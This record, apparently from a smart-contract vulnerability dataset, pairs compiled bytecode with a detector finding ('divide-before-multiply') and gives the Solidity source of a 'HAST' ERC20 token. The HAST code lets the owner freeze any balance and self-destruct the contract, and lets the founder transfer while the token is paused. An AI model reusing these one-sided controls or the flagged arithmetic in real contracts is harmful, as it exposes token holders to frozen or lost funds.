12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220dd13a483801dc6796e23a264edee84d66cbeeb236fe60265c7f90cea1bbac40264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,260 |
0xfbbea8b3f3323990aaa91c8b073e6bf93fdcb997
|
pragma solidity 0.5.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balanceOf(_from) >= _value);
require(balances[_to].add(_value) > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is StandardToken {
event Pause();
event Unpause();
bool public paused = false;
address public founder;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused || msg.sender == founder);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
//The functions below surve no real purpose. Even if one were to approve another to spend
//tokens on their behalf, those tokens will still only be transferable when the token contract
//is not paused.
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract HAST is PausableToken {
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Constructor that gives the founder all of the existing tokens.
*/
constructor() public {
name = "HYBRID AUTOMATIC SYSTEM OF TRADING";
symbol = "HAST";
decimals = 18;
totalSupply = 370000000*1000000000000000000;
founder = msg.sender;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/** @dev Fires on every freeze of tokens
* @param _owner address The owner address of frozen tokens.
* @param amount uint256 The amount of tokens frozen
*/
event TokenFreezeEvent(address indexed _owner, uint256 amount);
/** @dev Fires on every unfreeze of tokens
* @param _owner address The owner address of unfrozen tokens.
* @param amount uint256 The amount of tokens unfrozen
*/
event TokenUnfreezeEvent(address indexed _owner, uint256 amount);
event TokensBurned(address indexed _owner, uint256 _tokens);
mapping(address => uint256) internal frozenTokenBalances;
function freezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= balanceOf(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.add(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenFreezeEvent(_owner,_value);
}
function unfreezeTokens(address _owner, uint256 _value) public onlyOwner {
require(_value <= getFrozenBalance(_owner));
uint256 oldFrozenBalance = getFrozenBalance(_owner);
uint256 newFrozenBalance = oldFrozenBalance.sub(_value);
setFrozenBalance(_owner,newFrozenBalance);
emit TokenUnfreezeEvent(_owner,_value);
}
function setFrozenBalance(address _owner, uint256 _newValue) internal {
frozenTokenBalances[_owner]=_newValue;
}
function balanceOf(address _owner) view public returns(uint256) {
return getTotalBalance(_owner).sub(getFrozenBalance(_owner));
}
function getTotalBalance(address _owner) view public returns(uint256) {
return balances[_owner];
}
/**
* @dev Gets the amount of tokens which belong to the specified address BUT are frozen now.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount of frozen tokens owned by the passed address.
*/
function getFrozenBalance(address _owner) view public returns(uint256) {
return frozenTokenBalances[_owner];
}
/*
* @dev Token burn function
* @param _tokens uint256 amount of tokens to burn
*/
function burnTokens(uint256 _tokens) public onlyOwner {
require(balanceOf(msg.sender) >= _tokens);
balances[msg.sender] = balances[msg.sender].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(msg.sender, _tokens);
}
function destroy(address payable _benefitiary) external onlyOwner{
selfdestruct(_benefitiary);
}
}
|
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff